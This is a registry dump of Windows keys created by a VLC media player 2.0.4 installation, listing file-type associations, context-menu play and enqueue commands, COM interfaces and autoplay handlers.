"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.DVDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file dvd:///%1"

[HKCR\VLC.mpg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.cue\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mov\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.3ga]
"(Default)" = "VLC.3ga"

[HKCR\.wav]
"(Default)" = "VLC.wav"

[HKCR\VLC.mpeg4\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.divx]
"(Default)" = "VLC.divx"

[HKCR\VLC.oga\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m4p\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.vqf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.gxf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aac\shell]
"(Default)" = "Open"

[HKCR\VLC.ape\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MID" = "VLC.mid"

[HKCR\VLC.a52\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.s3m]
"(Default)" = "VLC media file (.s3m)"

[HKCR\VLC.flac\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mp4v]
"(Default)" = "VLC.mp4v"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".oma" = "VLC.oma"

[HKCR\VLC.tts\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayDVDMovieOnArrival]
"VLCPlayDVDMovieOnArrival" = ""

[HKCR\VLC.ogg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mpa\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.oma\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\ProgID]
"(Default)" = "楖敤䱯乁嘮䍌汐杵湩.1"

[HKCR\VLC.divx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.mp2]
"(Default)" = "VLC.mp2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"InvokeProgID" = "VLC.OPENFolder"
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.SVCDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aob]
"(Default)" = "VLC.aob"

[HKCR\VLC.f4v\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".avi" = ""

[HKCR\VLC.oma\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.3gp2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m4p\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.m2ts]
"(Default)" = "VLC.m2ts"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.tts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.flv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ram\shell]
"(Default)" = "Open"

[HKCR\VLC.3g2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aifc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.nsv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.drc]
"(Default)" = "VLC.drc"

[HKCR\VLC.3g2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.669\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oga\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.tod]
"(Default)" = "VLC media file (.tod)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mts" = ""
".mtv" = ""

[HKCR\VLC.au\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wv\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.b4s\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".au" = "VLC.au"

[HKCR\VLC.f4v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mka\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aac\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adt\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.caf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aif]
"(Default)" = "VLC media file (.aif)"

[HKCR\VLC.opus\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".gxf" = ""

[HKCR\VLC.voc\shell]
"(Default)" = "Open"

[HKCR\VLC.m4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.DVDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.mpv2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.mkv]
"(Default)" = "VLC.mkv"

[HKCR\VLC.mlp\shell]
"(Default)" = "Open"

[HKCR\VLC.wv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayMusicFilesOnArrival]
"VLCPlayMusicFilesOnArrival" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".SPX" = ""

[HKCR\VLC.vqf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.drc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}]
"(Default)" = "IVLCMarquee"

[HKCR\VLC.mpeg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.qcp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.669\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.xa\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.s3m\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.f4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aif\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.asf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogm\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.nuv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.f4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.sdp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpg]
"(Default)" = "VLC media file (.mpg)"

[HKCR\VLC.mpeg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mid\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m4p\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.gxf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayVersion" = "2.0.4"

[HKCR\.aiff]
"(Default)" = "VLC.aiff"

[HKCR\VLC.mtv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gp\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.tta\shell]
"(Default)" = "Open"

[HKCR\VLC.divx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.flac\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MID" = ""

[HKCR\VLC.rmvb\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.amv]
"(Default)" = "VLC.amv"

[HKCR\VLC.mp1\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe"

[HKCR\VLC.oma\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".AAC" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m2ts" = "VLC.m2ts"

[HKCR\VLC.qcp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".AC3" = "VLC.ac3"

[HKCR\VLC.a52\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".669" = ""

[HKCR\.3gp2]
"(Default)" = "VLC.3gp2"

[HKCR\VLC.nsv\shell]
"(Default)" = "Open"

[HKCR\VLC.b4s\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rec\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".oma" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".caf" = "VLC.caf"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogm" = ""
".OGA" = ""

[HKCR\VLC.au\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpv2" = "VLC.mpv2"

[HKCR\Applications\vlc.exe\SupportedTypes]
".OGG" = ""

[HKCR\VLC.aiff]
"(Default)" = "VLC media file (.aiff)"

[HKCR\VLC.asf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp2v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.asf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogv" = ""

[HKCR\VLC.ogg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.tts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.xspf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.w64\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M3U8" = ""

[HKCU\Software\Classes\.webm]
"(Default)" = "VLC.webm"

[HKCR\Applications\vlc.exe\SupportedTypes]
".dv" = ""

[HKCR\VLC.f4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.669]
"(Default)" = "VLC.669"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"InvokeProgID" = "VLC.OPENFolder"

[HKCR\VLC.rm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.avi\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".RMI" = ""

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.xm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.opus]
"(Default)" = "VLC media file (.opus)"

[HKCR\VLC.f4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.dv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.mp4]
"(Default)" = "VLC.mp4"

[HKCR\VLC.vro\shell\Open]
"(Default)" = "Play"

[HKCR\AudioCD\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.cue\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mpeg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mov\shell]
"(Default)" = "Open"

[HKCR\.mov]
"(Default)" = "VLC.mov"

[HKCR\VLC.amr\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rm" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".w64" = "VLC.w64"
".WAV" = "VLC.wav"

[HKCR\VLC.aac]
"(Default)" = "VLC media file (.aac)"

[HKCR\VLC.vro\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.dts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mpa\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.a52\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.SVCDMovie]
"(Default)" = "VLC SVCD Movie"

[HKCR\VLC.it\shell]
"(Default)" = "Open"

[HKCR\VLC.CDAudio\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell]
"(Default)" = "Open"

[HKCR\VLC.ac3]
"(Default)" = "VLC media file (.ac3)"

[HKCR\Directory\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.asx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\VLC.cda\shell]
"(Default)" = "Open"

[HKCR\VLC.mp4v\shell]
"(Default)" = "Open"

[HKCR\VLC.ts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpv2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gpp]
"(Default)" = "VLC media file (.3gpp)"

[HKCR\VLC.asf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vqf\shell]
"(Default)" = "Open"

[HKCR\VLC.mkv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"Action" = "Play SVCD movie"

[HKCR\VLC.au\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.drc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".voc" = ""
".vob" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".flv" = "VLC.flv"

[HKCR\VLC.voc\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"InstallDir" = "%Program Files% (x86)\VideoLAN\VLC"

[HKCR\VLC.m1v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"InvokeProgID" = "VLC.OPENFolder"

[HKCR\VLC.mkv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpv2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.rmvb\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC"

[HKCR\.mpv2]
"(Default)" = "VLC.mpv2"

[HKCR\VLC.mka]
"(Default)" = "VLC media file (.mka)"

[HKCR\VLC.m1v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.SVCDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file vcd:///%1"

[HKCR\VLC.VCDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.dts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg]
"(Default)" = "VLC media file (.mpeg)"

[HKCR\VLC.amr\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xa\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.asf\shell]
"(Default)" = "Open"

[HKCR\VLC.sdp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mxf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.m4p]
"(Default)" = "VLC.m4p"

[HKCR\VLC.ogm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.CDAudio\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file cdda:///%1"

[HKCR\VLC.ram\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mkv" = "VLC.mkv"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp4v" = ""

[HKCR\VLC.pls\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mka" = "VLC.mka"

[HKCR\VLC.m4p\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mov\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".OPUS" = ""

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}]
"(Default)" = "IVLCControl"

[HKCR\VLC.spx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.wma\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.4]
"Description" = "VLC Multimedia Plugin"

[HKCR\VLC.mpa]
"(Default)" = "VLC media file (.mpa)"

[HKCR\VLC.669\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.wmv]
"(Default)" = "VLC.wmv"

[HKCR\VLC.DVDMovie]
"(Default)" = "VLC DVD Movie"

[HKCR\VLC.ifo\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.m3u8]
"(Default)" = "VLC.m3u8"

[HKCR\VLC.adts\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".flv" = ""

[HKCR\VLC.adt\shell]
"(Default)" = "Open"

[HKCR\.adt]
"(Default)" = "VLC.adt"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}]
"(Default)" = "IVLCVideo"

[HKCR\VLC.3ga\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ogv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vqf" = "VLC.vqf"

[HKCR\VLC.mts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.s3m\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.dv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oma\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m3u\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mka\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.xspf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.f4v]
"(Default)" = "VLC media file (.f4v)"

[HKCR\VLC.m3u8\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".b4s" = "VLC.b4s"

[HKCR\VLC.aif\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

